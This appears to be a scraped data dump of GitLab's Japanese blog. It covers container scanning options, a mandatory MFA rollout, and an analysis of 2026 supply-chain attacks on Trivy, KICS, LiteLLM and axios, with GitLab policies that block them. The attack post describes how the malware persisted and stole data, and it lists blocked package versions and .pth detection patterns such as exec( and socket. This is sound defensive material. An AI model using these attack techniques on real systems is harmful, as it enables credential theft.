プロジェクトが空でないこと（デフォルトブランチに少なくとも1つのコミットが必要）\n* コンテナレジストリの通知が設定済みであること\n* パッケージメタデータデータベースが設定済みであること（GitLab.com ではデフォルトで有効）\n\n脆弱性は脆弱性レポートの **コンテナレジストリの脆弱性** タブに表示されます。\n\n### 3. マルチコンテナスキャン\n\n* 機能：単一のパイプライン内で複数のコンテナイメージを並行してスキャンします。\n* 最適な用途：マイクロサービスアーキテクチャや複数のコンテナイメージを持つプロジェクト\n* 利用可能なプラン：Free、Premium、Ultimate（現在ベータ版）\n* [ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/container_scanning/multi_container_scanning/)\n\nマルチコンテナスキャンは動的な子パイプラインを使用してスキャンを並行実行するため、複数のイメージをスキャンする際のパイプライン全体の実行時間を大幅に短縮できます。\n\n#### マルチコンテナスキャンを有効にする方法\n\n1. リポジトリのルートに `.gitlab-multi-image.yml` ファイルを作成します。\n\n```yaml\nscanTargets:\n  - name: alpine\n    tag: \"3.19\"\n  - name: python\n    tag: \"3.9-slim\"\n  - name: nginx\n    tag: \"1.25\"\n```\n\n2. `.gitlab-ci.yml` にテンプレートを追加します。\n\n```yaml\ninclude:\n  - template: Jobs/Multi-Container-Scanning.latest.gitlab-ci.yml\n```\n\n#### 詳細設定\n\n**プライベートレジストリからイメージをスキャンする：**\n\n```yaml\nauths:\n  registry.gitlab.com:\n    username: ${CI_REGISTRY_USER}\n    password: ${CI_REGISTRY_PASSWORD}\n\nscanTargets:\n  - name: registry.gitlab.com/private/image\n    tag: latest\n```\n\n**ライセンス情報を含める：**\n\n```yaml\nincludeLicenses: true\n\nscanTargets:\n  - name: postgres\n    tag: \"15-alpine\"\n```\n\n### 4. 継続的脆弱性スキャン\n\n* 機能：パイプラインを実行することなく、新しいセキュリティアドバイザリーが公開された際に自動的に脆弱性を作成します。\n* 最適な用途：デプロイ間のプロアクティブなセキュリティモニタリング\n* 利用可能なプラン：Ultimate のみ\n* [ドキュメント](https://docs.gitlab.com/ja-jp/user/application_security/continuous_vulnerability_scanning/)\n\n従来のスキャンは、スキャン実行時の脆弱性しか検出できません。しかし、昨日スキャンしたパッケージに対して、明日新しい CVE が公開された場合はどうなるでしょうか。継続的脆弱性スキャンは、GitLab アドバイザリーデータベースを監視し、新しいアドバイザリーがコンポーネントに影響を与える際に自動的に脆弱性レコードを作成することでこの課題を解決します。\n\n#### 仕組み\n\n1. コンテナスキャンまたは依存関係スキャンジョブが CycloneDX SBOM を生成します。\n2. GitLab はこの SBOM からプロジェクトのコンポーネントを登録します。\n3. 新しいアドバイザリーが公開されると、GitLab はコンポーネントが影響を受けるかどうかを確認します。\n4. 脆弱性レポートに脆弱性が自動的に作成されます。\n\n#### 重要な考慮事項\n\n* スキャンは CI パイプラインではなく、バックグラウンドジョブ（Sidekiq）経由で実行されます。\n* 新しいコンポーネント検出には、過去14日以内に公開されたアドバイザリーのみが対象となります。\n* 脆弱性では「GitLab SBoM Vulnerability Scanner」がスキャナー名として使用されます。\n* 脆弱性を解決済みとしてマークするには、引き続きパイプラインベースのスキャンを実行する必要があります。\n\n### 5. 運用コンテナスキャン\n\n* 機能：スケジュールされた間隔で Kubernetes クラスター内の稼働中のコンテナをスキャンします。\n* 最適な用途：デプロイ後のセキュリティモニタリングとランタイム脆弱性の検出\n* 利用可能なプラン：Ultimate のみ\n* [ドキュメント](https://docs.gitlab.com/ja-jp/user/clusters/agent/vulnerabilities/)\n\n運用コンテナスキャンは、ビルド時のセキュリティとランタイムセキュリティの間のギャップを埋めます。GitLab Agent for Kubernetes を使用して、クラスター内で実際に稼働しているコンテナをスキャンし、デプロイ後に発生する脆弱性を検出します。\n\n#### 運用コンテナスキャンを有効にする方法\n\n[GitLab Kubernetes Agent](https://docs.gitlab.com/ja-jp/user/clusters/agent/install/) を使用している場合、エージェント設定ファイルに以下を追加できます。\n\n```yaml\ncontainer_scanning:\n  cadence: '0 0 * * *'  # 毎日深夜0時\n  vulnerability_report:\n    namespaces:\n      include:\n        - production\n        - staging\n```\n\nまた、GitLab Kubernetes Agent によるスケジュールスキャンを強制する[スキャン実行ポリシー](https://docs.gitlab.com/ja-jp/user/clusters/agent/vulnerabilities/#enable-via-scan-execution-policies)を作成することもできます。\n\n![スキャン実行ポリシー - 運用コンテナスキャン](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547515/gsgvjcq4sas4dfc8ciqk.png \"運用コンテナスキャンのスキャン実行ポリシー条件\")\n\n#### 結果の確認\n\n* **運用 > Kubernetes クラスター** に移動します。\n* **エージェント** タブを選択し、エージェントを選択します。\n* **セキュリティ** タブを選択してクラスターの脆弱性を確認します。\n* 結果は **脆弱性レポート** の **運用上の脆弱性** タブにも表示されます。\n\n## GitLab セキュリティポリシーによるセキュリティ態勢の強化\n\nGitLab セキュリティポリシーを使用すると、自動化されたポリシー駆動型のコントロールを通じて、コンテナワークフロー全体で一貫したセキュリティ標準を適用できます。これらのポリシーは、要件を開発パイプラインに直接組み込むことでセキュリティをシフトレフトし、コードが本番環境に到達する前に脆弱性を検出・対処できるようにします。\n\n#### スキャン実行ポリシーとパイプラインポリシー\n\n[スキャン実行ポリシー](https://docs.gitlab.com/ja-jp/user/application_security/policies/scan_execution_policies/)は、プロジェクト全体でコンテナスキャンがいつ・どのように実行されるかを自動化します。すべてのマージリクエストでコンテナスキャンをトリガーし、メインブランチの定期的なスキャンをスケジュールするポリシーなどを定義できます。これらのポリシーにより、各プロジェクトの CI/CD パイプラインで手動でスキャンを設定することなく、包括的なカバレッジが確保されます。\n\n使用するスキャナーのバージョンを指定し、スキャンパラメーターを一元的に設定することで、新しいコンテナセキュリティの脅威に対応しながら組織全体の一貫性を維持できます。\n\n![スキャン実行ポリシーの設定](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547517/z36dntxslqem9udrynvx.png \"スキャン実行ポリシーの設定\")\n\n[パイプライン実行ポリシー](https://docs.gitlab.com/ja-jp/user/application_security/policies/pipeline_execution_policies/)は、コンプライアンス要件に基づいてパイプラインにカスタムジョブを注入（または上書き）するための柔軟なコントロールを提供します。\n\nこれらのポリシーを使用して、コンテナスキャンジョブをパイプラインに自動的に注入したり、コンテナの脆弱性がリスク許容度を超えた場合にビルドを失敗させたり、特定のブランチやタグに対して追加のセキュリティチェックをトリガーしたり、本番環境向けコンテナイメージのコンプライアンス要件を適用したりすることができます。パイプライン実行ポリシーは自動化されたガードレールとして機能し、手動操作なしですべてのコンテナデプロイメントにセキュリティ標準が一貫して適用されるようにします。\n\n![パイプライン実行ポリシー](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547517/ddhhugzcr2swptgodof2.png \"パイプライン実行ポリシーのアクション\")\n\n#### マージリクエスト承認ポリシー\n\n[マージリクエスト承認ポリシー](https://docs.gitlab.com/ja-jp/user/application_security/policies/merge_request_approval_policies/)は、コンテナの脆弱性を含むマージリクエストを指定された承認者がレビューし、承認することを要求することでセキュリティゲートを適用します。\n\n重大度の高い脆弱性が検出された場合にマージをブロックするポリシーや、新しいコンテナの検出結果を導入するマージリクエストにセキュリティチームの承認を要求するポリシーを設定できます。これらのポリシーにより、低リスクな変更の開発速度を維持しながら、脆弱性のあるコンテナイメージがパイプラインを通じて進むことを防ぎます。\n\n![MRでブロックを実行するマージリクエスト承認ポリシー](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772547513/hgnbc1vl4ssqafqcyuzg.png \"MRでブロックを実行するマージリクエスト承認ポリシー\")\n\n## 適切なアプローチの選択\n\n| スキャンの種類   | 使用するタイミング   | 主なメリット                   |\n| --------- | ----------- | ------------------------ |\n| パイプラインベース | すべてのビルド時    | シフトレフトセキュリティ、脆弱なビルドをブロック |\n| レジストリスキャン | 継続的なモニタリング  | 保存されたイメージの新しい CVE を検出    |\n| マルチコンテナ   | マイクロサービス    | 並行スキャン、パイプラインの高速化        |\n| 継続的脆弱性    | デプロイ間       | プロアクティブなアドバイザリーモニタリング    |\n| 運用        | 本番環境のモニタリング | ランタイム脆弱性の検出              |\n\n包括的なセキュリティのためには、複数のアプローチを組み合わせることをお勧めします。開発中の問題を検出するためのパイプラインベースのスキャン、継続的なモニタリングのためのレジストリ向けコンテナスキャン、そして本番環境の可視性のための運用スキャンを組み合わせてご活用ください。\n\n## 今すぐ始める\n\nコンテナセキュリティへの最短ルートは、パイプラインベースのスキャンを有効にすることです。\n\n1. プロジェクトの **Secure > セキュリティ設定** に移動します。\n2. コンテナスキャンの **マージリクエストで設定** をクリックします。\n3. 作成されたマージリクエストをマージします。\n4. 次のパイプラインに脆弱性スキャンが含まれるようになります。\n\nその後、セキュリティ要件と GitLab のプランに応じて、追加のスキャンの種類を段階的に導入してください。\n\nコンテナセキュリティは一度実施すれば完了するものではなく、継続的なプロセスです。\nGitLab の包括的なコンテナスキャン機能を活用することで、ビルドからランタイムまでコンテナライフサイクルのあらゆる段階で脆弱性を検出できます。\n\n> GitLab がセキュリティ態勢の強化にどのように役立つかについての詳細は、[GitLab セキュリティ & ガバナンス ソリューションページ](https://about.gitlab.com/solutions/application-security-testing/)をご覧ください。",[1148],"Fernando Diaz","GitLab コンテナスキャン完全ガイド：SBOM生成から運用監視まで5つのスキャン手法",[757,822],"GitLab のさまざまなコンテナスキャン方法を詳しく解説し、コンテナライフサイクルの各段階でセキュリティを確保する方法をご紹介します。",{"slug":1153,"featured":13,"template":796},"complete-guide-to-gitlab-container-scanning",{"content":1155,"config":1164},{"title":1156,"description":1157,"authors":1158,"heroImage":1160,"date":1161,"body":1162,"category":757,"tags":1163},"GitLab.comのセキュリティ強化：多要素認証の必須化","Secure by Designへのコミットメントの一環として、GitLabが多要素認証（MFA）を必須化する方法と、それがユーザーに与える影響について解説します。",[1159],"Kim Waters","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664923/Blog/Hero%20Images/security-checklist.png","2026-01-09","GitLab.comのすべてのユーザーアカウントのセキュリティ強化のため、GitLabでは、ユーザー名とパスワードを使用してサインインするすべてのユーザーとAPIエンドポイントに対して、多要素認証（MFA）を必須化します。\n\n## 多要素認証必須化の理由\n\n今回の変更は、GitLabの[Secure by Designへのコミットメント](https://about.gitlab.com/blog/last-year-we-signed-the-secure-by-design-pledge-heres-our-progress/)における重要な取り組みの1つです。MFAは、ソフトウェア開発業界全体で継続的な脅威となっているクレデンシャルスタッフィング攻撃やアカウント乗っ取り攻撃に対する重要な防御手段となります。\n\n## 知っておくべき重要な情報\n\n### 何が変わるのか？\n\nGitLabは、ユーザー名とパスワードで認証するサインインに対して、MFAを必須化します。これにより、パスワードだけでなく、重要な第2の認証レイヤーが追加されます。\n\n### 適用されるケースとされないケース\n\n1. ***適用されるケース：*** ユーザー名とパスワードでGitLab.comにサインインする場合、またはパスワードを使用してAPIに認証する場合\n2. ***適用されないケース：*** アクセスにソーシャルサインオン（Googleなど）またはシングルサインオン（SSO）のみを使用している場合（*注意：SSOを使用していても、直接ログイン用のパスワードを設定している場合は、SSO以外のパスワードベースのログインに対してMFAが必要になります）*\n\n### ロールアウトのタイムライン\n\n1. 実装は今後数か月にわたって段階的に行われます。これは、ユーザーの予期しない中断や生産性の低下を最小限に抑え、アカウントのロックアウトを防ぐことを目的としています。ユーザーグループによって時期は異なりますが、近日中にMFAの有効化を求められます。各グループは、実行したアクション、またはコントリビュートしたコードに基づいて選択されます。以下の方法で通知されます。\n\n   * ✉️ メール通知 - 影響を受けるフェーズの前\n   * 🔔 定期的な製品内リマインダー - 14日前\n   * ⏱️ 一定期間後（メールが届きます） - MFAを有効にするまでGitLabへのアクセスがブロックされます\n\n### 必要な対応\n\n1. ユーザー名とパスワードでGitLab.comにサインインする場合：\n\n   * パスキー、認証アプリ、WebAuthnデバイス、またはメール認証など、利用可能なMFA方法の1つを今すぐ事前に設定することを強くおすすめします。これにより、最も安全でシームレスな移行が保証されます。\n   * GitLab.comの**ユーザー設定**にアクセスします。\n   * **アカウント**セクションを選択します。\n   * **2要素認証**を有効にし、希望する方法（認証アプリやWebAuthnデバイスなど）を設定します。\n   * 必要に応じてアクセスを回復できるよう、**リカバリーコードを安全に保存**してください。\n2. パスワードを使用してAPIに認証する場合：\n\n   * 個人アクセストークン（PAT）への切り替えを事前に行うことを強くおすすめします。詳細については、[ドキュメント](https://docs.gitlab.com/ja-jp/user/profile/account/two_factor_authentication_troubleshooting/#error-http-basic-access-denied-if-a-password-was-provided-for-git-authentication-)をご確認ください。\n\n## よくある質問\n\n*期限までにMFAを有効にしないとどうなりますか？*\n\n* サインインする前にMFAの設定が必要になります。\n\n*CI/CDパイプラインや自動化に影響はありますか？*\n\n* はい、パスワードの代わりにPATまたはデプロイトークンを使用していない場合は影響があります。\n\n*SSOを使用していますが、直接サインインすることもあります。その場合、MFAは必要ですか？*\n\n* はい、フォールバックシナリオを含む、パスワードベースの認証にはMFAが必要です。\n\n*どのようなMFAリカバリーオプションが利用できますか？*\n\n* [トラブルシューティングドキュメント](https://docs.gitlab.com/ja-jp/user/profile/account/two_factor_authentication_troubleshooting/#recovery-options-and-2fa-reset)をご確認ください。*\n\n具体的なタイムラインとその他のリソースについては、ロールアウト日までに段階的に共有される予定です。この重要な変更についてご覧いただき、ありがとうございます。",[757,745],{"featured":641,"template":796,"slug":1165},"strengthening-gitlab-com-security-mandatory-multi-factor-authentication",{"category":771,"slug":769,"posts":1167},[1168,1180],{"content":1169,"config":1178},{"heroImage":1170,"body":1171,"authors":1172,"updatedDate":1029,"date":1174,"title":1175,"tags":1176,"description":1177,"category":769},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772630163/akp8ly2mrsfrhsb0liyb.png","***注：GitLab製品は、本記事で言及されている侵害されたパッケージバージョンを使用していませんでした。***\n\nわずか12日間で4件の独立したサプライチェーン攻撃が発生し、継続的インテグレーション／継続的デリバリー（CI/CD）パイプラインが高度な脅威アクターにとって格好の標的となっていることが明らかになりました。\n\n2026年3月19日から31日にかけて、脅威アクターは以下のツールを侵害しました。\n\n* オープンソースのセキュリティスキャナー（Trivy）\n* Infrastructure as Code（IaC）セキュリティスキャナー（Checkmarx KICS）\n* AIモデルゲートウェイ（LiteLLM）\n* JavaScript HTTPクライアント（axios）\n\nいずれの攻撃も同じ侵入口を狙っていました。それがビルドパイプラインです。\n本記事では、何が起きたのか、なぜパイプラインが特に脆弱なのか、そしてGitLabの集中型ポリシー適用（以下で定義するポリシーを使用）が、これらの攻撃パターンを本番環境に到達する前にブロック・検出・封じ込める方法を解説します。\n\n## 数百万人が信頼するツールが、わずか数分で侵害された\n\nサプライチェーン攻撃のタイムラインは以下のとおりです。\n\n### 3月19日：Trivyセキュリティスキャナーが攻撃のベクターに\n\n[Trivy](https://github.com/aquasecurity/trivy)は、世界で最も広く使われているオープンソースの脆弱性スキャナーの1つです。脆弱性を検出するために*パイプライン内*で実行されるツールです。\n\n3月19日、TeamPCPと呼ばれる脅威アクターグループが[侵害された認証情報を使用し](https://www.aquasec.com/blog/trivy-supply-chain-attack-what-you-need-to-know/)、`aquasecurity/trivy-action` GitHub Actionの76バージョンタグ（全77件中）および`aquasecurity/setup-trivy`の全7タグに悪意のあるコードをforce-pushしました。同時に、トロイの木馬化されたTrivyバイナリ（v0.69.4）が公式配布チャネルに公開されました。このペイロードは認証情報を窃取するマルウェアで、Trivyスキャンを実行したすべてのパイプラインから環境変数、クラウドトークン、SSHキー、CI/CDシークレットを収集しました。\n\nこのインシデントには[CVE-2026-33634](https://nvd.nist.gov/vuln/detail/CVE-2026-33634)が割り当てられ、CVSSスコアは9.4でした。米国サイバーセキュリティ・インフラストラクチャセキュリティ庁（CISA）は数日以内にこれを既知の悪用済み脆弱性カタログに追加しました。\n\n### 3月23日：次はCheckmarx KICSが標的に\n\nTeamPCPは窃取した認証情報を使い、CheckmarxのオープンソースプロジェクトであるKICS（Keeping Infrastructure as Code Secure）に攻撃対象を移しました。`ast-github-action`および`kics-github-action` GitHub Actionに[同じ認証情報窃取マルウェアを注入し](https://thehackernews.com/2026/03/teampcp-hacks-checkmarx-github-actions.html)、3月23日の12:58〜16:50 UTCの間、これらのアクションを参照するCI/CDパイプラインはすべて、APIキー、データベースパスワード、クラウドアクセストークン、SSHキー、サービスアカウントの認証情報などの機密データを密かに外部に送信していました。\n\n### 3月24日：Trivyの侵害された認証情報を経由してLiteLLMも被害を受ける\n\n月間9,500万ダウンロードのLLM APIプロキシであるLiteLLMが次の標的になりました。TeamPCPは、TrivyでスキャンしていたLiteLLM自身のCI/CDパイプラインから収集した認証情報を使用し、PyPIにバックドアを仕込んだバージョン（1.82.7および1.82.8）を[公開しました](https://thehackernews.com/2026/03/teampcp-backdoors-litellm-versions.html)。\n\nバージョン1.82.7を標的としたマルウェアは、`litellm/proxy/proxy_server.py`にインポート時に実行されるbase64エンコードされたペイロードを直接注入していました。バージョン1.82.8を標的としたものは、Pythonインタープリタ起動時に自動実行される`.pth`ファイルを使用していました。LiteLLMをインストールするだけでペイロードが起動してしまう仕組みです。攻撃者は窃取したデータ（SSHキー、クラウドトークン、.envファイル、暗号資産ウォレット）を暗号化し、本物のドメインに似せた`models.litellm.cloud`に外部送信しました。\n\n### 3月31日：単純なパッケージングミスがAIコーディングアシスタントのソースコードを流出させる\n\nTeamPCPの攻撃キャンペーンがまだ続く中、あるソフトウェア企業が59.8 MBのソースマップファイルを含むnpmパッケージを公開してしまいました。そのファイルには、AIコーディングアシスタントの完全な未縮小TypeScriptソースコードへの参照が含まれており、自社のCloudflare R2バケットでホストされていました。\n\nこの流出により、1,900のTypeScriptファイル、512,000行以上のコード、44の隠し機能フラグ、未公開のモデルコードネーム、そして知る人ぞ知る場所へのアクセス方法を知っていれば誰でも確認できるシステムプロンプトの全文が公開されてしまいました。エンジニアの[Gabriel Anhaia氏が解説したように](https://dev.to/gabrielanhaia/claude-codes-entire-source-code-was-just-leaked-via-npm-source-maps-heres-whats-inside-cjo)、「`.npmignore`またはpackage.jsonのfilesフィールドの設定ミスが1つあるだけで、すべてが露出してしまいます」。\n\n### 3月31日：axiosとサプライチェーンへのもう1つのトロイの木馬\n\n同日、週間1億ダウンロード超のJavaScript HTTPクライアントであるaxios npmパッケージを狙った[高度なキャンペーンが実行されました](https://thehackernews.com/2026/03/axios-supply-chain-attack-pushes-cross.html)。\n\n侵害されたメンテナーアカウントによりバックドアを仕込んだバージョン（1.14.1および0.30.4）が公開されました。悪意のある依存関係（`plain-crypto-js@4.2.1`）が注入され、macOS、Windows、Linuxで動作するリモートアクセス型トロイの木馬（RAT）がデプロイされました。2つのリリースブランチともに39分以内に感染し、マルウェアは実行後に自己消去するよう設計されていました。\n\n## これらの攻撃に潜む共通パターン\n\n5件のインシデントを通じて、3つの明確な攻撃パターンが浮かび上がってきます。いずれもCI/CDパイプラインがその入力に対して暗黙的に持つ信頼を悪用するものです。\n\n### パターン1：汚染されたツールとアクション\n\nTeamPCPのキャンペーンは、ある根本的な前提を突いていました。それは、パイプライン*内*で実行されるセキュリティツール自体は信頼できるという思い込みです。GitHubアクションのタグやPyPIパッケージのバージョンが悪意のあるコードに解決された場合、パイプラインはそれを環境シークレット、クラウド認証情報、デプロイトークンへのフルアクセス権限で実行してしまいます。パイプラインはタグを信頼するため、検証ステップが存在しないのです。\n\n**推奨されるパイプラインレベルの対策：** 可変バージョンタグではなく、不変の参照（コミットSHAまたはイメージダイジェスト）にツールとアクションをピン留めしてください。ピン留めが現実的でない場合は、既知の正常なチェックサムまたは署名に対してツールと依存関係の整合性を検証してください。検証に失敗した場合は実行をブロックします。\n\n### パターン2：知的財産（IP）を漏洩するパッケージング設定ミス\n\n設定ミスのあるビルドパイプラインが、デバッグ成果物をそのまま本番パッケージに含めて出荷してしまいました。`.npmignore`またはpackage.jsonのfilesフィールドの設定ミスが1つあれば十分です。公開前の検証ステップを設けておけば、こうした問題は毎回防ぐことができます。\n\n**推奨されるパイプラインレベルの対策：** パッケージを公開する前に、パッケージの内容を許可リストに対して検証し、予期しないファイル（ソースマップ、内部設定ファイル、.envファイル）をフラグとして検出し、チェックに失敗した場合は公開ステップをブロックする自動チェックを実行してください。\n\n### パターン3：推移的依存関係の脆弱性\n\naxiosへの攻撃は、axiosを直接使用しているユーザーだけでなく、依存関係ツリーが侵害されたバージョンに解決されるすべてのユーザーを標的にしました。ロックファイル内で一度依存関係が汚染されると、組織全体のビルドインフラに波及する可能性があります。\n\n**推奨されるパイプラインレベルの対策：** 依存関係のチェックサムを既知の正常なロックファイルの状態と比較してください。予期しない新しい依存関係やバージョン変更を検出し、未検証のパッケージを導入するビルドをブロックします。\n\n## GitLabパイプライン実行ポリシーによる各攻撃パターンへの対処\n\nGitLabパイプライン実行ポリシー（[PEP](https://docs.gitlab.com/ja-jp/user/application_security/policies/pipeline_execution_policies/)）は、セキュリティチームおよびプラットフォームチームが、開発者が`.gitlab-ci.yml`で定義した内容に関わらず、組織全体のすべてのパイプラインに必須のCI/CDジョブを注入できる仕組みです。PEPで定義されたジョブは、`[skip ci]`や`[no_pipeline]`ディレクティブを使ってもスキップできません。ジョブは開発者のパイプラインを前後から挟む*予約済み*ステージ（`.pipeline-policy-pre`および`.pipeline-policy-post`）で実行できます。\n\n3つのパターンすべてに対応するパイプライン実行ポリシーをオープンソースプロジェクトとして公開しています：[Supply Chain Policies](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies)。これらのポリシーは独立してデプロイ可能で、それぞれテスト用の違反サンプルが同梱されています。各ポリシーの仕組みをご紹介します。\n\n### ユースケース1：パッケージ公開時の意図しない情報露出を防ぐ\n\n**問題：** ビルドパイプラインが公開時の検証をスキップしたため、ソースマップファイルがAIコーディングツールのnpmパッケージに含まれてしまいました。\n\n**PEPによるアプローチ：** この種のエラーに特化したオープンソースのパイプライン実行ポリシーを作成しました：[Artifact Hygiene](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/artifact-hygiene.gitlab-ci.yml?ref_type=heads)。\n\nこのポリシーは、公開ステップが実行される前に、アーティファクトタイプ（npmパッケージ、Dockerイメージ、またはHelmチャート）を自動検出してその内容を検査する`.pipeline-policy-pre`ジョブを注入します。npmパッケージに対しては、3つのチェックを実行します。\n\n1. **ファイルパターンのブロックリスト。** npm packの出力をスキャンし、ソースマップ（.map）、テストディレクトリ、ビルド設定、IDE設定、src/ディレクトリを検出します。\n2. **パッケージサイズゲート。** AIツールを流出させた59.8 MBパッケージのように、50 MBを超えるパッケージをブロックします。\n3. **sourceMappingURLスキャン。** 外部URL（大手AI企業のソースコードを露出させたR2バケットのパターン）、インラインのdata: URI、JavaScriptバンドルに埋め込まれたローカルファイル参照を検出します。\n\n違反が検出されると、パイプラインは失敗したCIジョブのログに明確なレポートを出力して終了します。\n\n```text\n=============================================\nFAILED: 3 violation(s) found\n=============================================\nBLOCKED: dist/index.js.map (matched: \\.map$)\nBLOCKED: dist/index.js contains external sourceMappingURL\nBLOCKED: dist/utils.js contains inline sourceMappingURL\n\nThis check is enforced by a Pipeline Execution Policy. If this is a false positive, contact the security team to update the policy project or exclude this project.\n```\n\nこのポリシーには、ユーザーが設定できるCI変数はありません。開発者が無効化したり回避したりすることはできません。例外はポリシーレベルでセキュリティチームが管理するため、意図的なプロセスと明確な監査証跡が確保されます。\n\nリポジトリには意図的な違反を含むテストプロジェクト（examples/leaky-npm-package/）が含まれており、組織にデプロイする前にポリシーの動作を確認できます。[README](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/README.md)には、セットアップとデプロイの完全なクイックスタートガイドが含まれています。\n\n**検出できる問題：** これらのコントロールのどれか1つでもあれば、AI企業のソースコード流出は防げていた可能性があります。\n\n* ソースマップファイルはファイルパターンのブロックリストに引っかかります。\n* 59.8 MBというサイズはサイズゲートに引っかかります。\n* 外部R2バケットを指すsourceMappingURLはURLスキャンに引っかかります。\n\n### ユースケース2：依存関係の改ざんとロックファイル操作を検出する\n\n**問題：** axiosへの攻撃では、インストール時にRATを実行する悪意のある推移的依存関係（`plain-crypto-js`）が導入されました。侵害が行われた期間中にnpm installを実行したすべての人がトロイの木馬を取り込んでしまいました。\n\n**PEPによるアプローチ：** [Dependency Integrityポリシー](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/dependency-integrity.gitlab-ci.yml)は、パッケージエコシステム（npmまたはPython）を自動検出し、3つのチェックを実行する.pipeline-policy-preジョブを注入します。\n\n**npmプロジェクトの場合**（`package-lock.json`、`yarn.lock`、または`pnpm-lock.yaml`によってトリガー）：\n\n1. **ロックファイルの整合性。** `npm ci --ignore-scripts`を実行します。`node_modules`の内容がロックファイルの指定と異なる場合、失敗します。これにより、package.jsonは更新されたがロックファイルが再生成されていないケースを検出し、SRIインテグリティハッシュも検証します。\n2. **ブロックパッケージスキャン。** ロックファイルの完全な依存関係ツリーを、侵害が確認済みのパッケージバージョンのGitLab管理リストである`blocked-packages.yml`と照合します。同梱のブロックリストには`axios@1.14.1`、`axios@0.30.4`、`plain-crypto-js@4.2.1`が含まれています。\n3. **未宣言の依存関係の検出。** インストール後、node_modulesの内容をロックファイルと比較します。ディスク上に存在するがロックファイルに存在しないパッケージは改ざんの証拠です（例：追加パッケージを取得する侵害されたpostinstallスクリプト）。\n\n**Pythonプロジェクトの場合**（`requirements.txt`、`Pipfile.lock`、`poetry.lock`、または`uv.lock`によってトリガー）：\n\n1. **ロックファイルの整合性。** 分離された仮想環境にインストールし、ロックファイルからのインストールが成功することを確認します。\n2. **ブロックパッケージスキャン。** 同じブロックリストのアプローチです。同梱リストには`litellm==1.82.7`および`litellm==1.82.8`が含まれています。\n3. **.pthファイルの検出。** site-packagesの`.pth`ファイルをスキャンし、実行可能なコードパターン（`import os`、`exec(`、`eval(`、`__import__`、`subprocess`、`socket`）を検出します。これはLiteLLMバックドアが使用したまさにその仕組みです。\n\n違反が検出されると：\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: axios@1.14.1 is a known-compromised package\n\nThis check is enforced by a Pipeline Execution Policy.\n```\n\nこのポリシーは*ストリクトモード*で動作します。コミット済みのロックファイルに存在しない依存関係は、パイプラインをブロックします。開発者が依存関係を追加する必要がある場合は、更新されたロックファイルをコミットします。ポリシーはインストールされたバージョンがコミットされたバージョンと一致することを確認します。コミットされていないものが現れた場合（例：侵害されたアップストリームパッケージ経由で注入された推移的依存関係）、パイプラインはブロックされます。\n\n**検出できる問題：** `plain-crypto-js`という新規かつ未確認の依存関係の導入は、未宣言の依存関係チェックによってフラグが立てられます。`axios@1.14.1`バージョンはブロックパッケージスキャンによって検出されます。LiteLLMの`.pth`ファイルは`.pth`検出チェックによって検出されます。各攻撃に対して、少なくとも1つ、多くの場合は2つの独立した検出シグナルがあります。\n\n### ユースケース3：侵害されたツールを実行前に検出・ブロックする\n\n**問題：** TeamPCPは、信頼できるTrivyとCheckmarxのGitHubアクションタグを悪意のあるバージョンに置き換えました。これらのタグを参照するパイプラインはすべて、認証情報を窃取するマルウェアを実行してしまいました。\n\n**PEPによるアプローチ：** [Tool Integrityポリシー](https://gitlab.com/gitlab-org/security-risk-management/security-policies/projects/supply-chain-policies/-/blob/main/tool-integrity.gitlab-ci.yml)は、GitLab CI Lint API（またはフォールバックとして`.gitlab-ci.yml`を評価する仕組み）にクエリを発行し、コンテナイメージの参照を抽出して、セキュリティチームが管理する承認済みイメージ許可リストと照合する`.pipeline-policy-pre`ジョブを注入します。\n\n許可リスト（`approved-images.yml`）は、イメージごとに3つの制御をサポートしています。\n\n**承認済みリポジトリ：** リスト上のリポジトリからのイメージのみが許可されます。未知のリポジトリはパイプラインをブロックします。\n\n**許可されているタグ：** 承認済みリポジトリ内でも、特定のタグのみが許可されます。これにより、未テストバージョンへの移行を防ぎます。\n\n**ブロックされているタグ：** リポジトリが承認済みであっても、既知の侵害バージョンを明示的にブロックできます。同梱の許可リストは、TeamPCPがトロイの木馬化した正確なバージョンである`aquasec/trivy:0.69.4`から`0.69.6`をブロックします。\n\n違反が検出されると、他のジョブが実行される前にパイプラインが失敗します。\n\n```text\n=============================================\nFAILED: 1 violation(s) found\n=============================================\nBLOCKED: aquasec/trivy:0.69.4 (job: trivy-scan)\n\n - tag '0.69.4' is known-compromised\n\nThis check is enforced by a Pipeline Execution Policy.\n```\n\n許可リストは、ポリシープロジェクトに対するMRを通じて管理されます。新しい承認済みイメージを追加するには、セキュリティチームがMRを開きます。新たな侵害への対応には、ブロックするタグを追加するだけです。コードの変更は不要で、YAMLだけで管理できます。\n\n**検出できる問題：** 未承認のタグを持つイメージが検出されると、ポリシーはイメージのリポジトリ名とタグを許可リストと照合します。一致しない場合、スキャナーが実行される前にパイプラインをブロックし、認証情報の外部送信を防ぎます。\n\n*注：上記のサンプルを拡張することで、PEPをタグではなくダイジェストへのピン留めを強制するために使用できます。これはforce pushに対して耐性があります。このサンプルは、より基本的なタグベースの適用パターンを示しています。*\n\n## PEPを超えて：GitLabのサプライチェーン防御\n\nパイプライン実行ポリシーは適用のレイヤーですが、サプライチェーン保護において多層防御（defense-in-depth）戦略の一部として機能するときに最大の効果を発揮します。GitLabは、サプライチェーン保護においてPEPを補完するいくつかの機能を提供しています。\n\n### シークレット検出\n\n[GitLabのシークレット検出](https://docs.gitlab.com/ja-jp/user/application_security/secret_detection/)は、認証情報がそもそもリポジトリに入り込むことを防ぎ、侵害されたパイプラインツールが収集できる情報を大幅に削減します。2026年3月の攻撃の文脈では：\n\n* リポジトリに保存された認証情報は、攻撃者にとって発見しやすく、ローテーションも遅くなります。Trivyのインシデントでは、ローテーションプロセス自体も悪用されました。Aqua 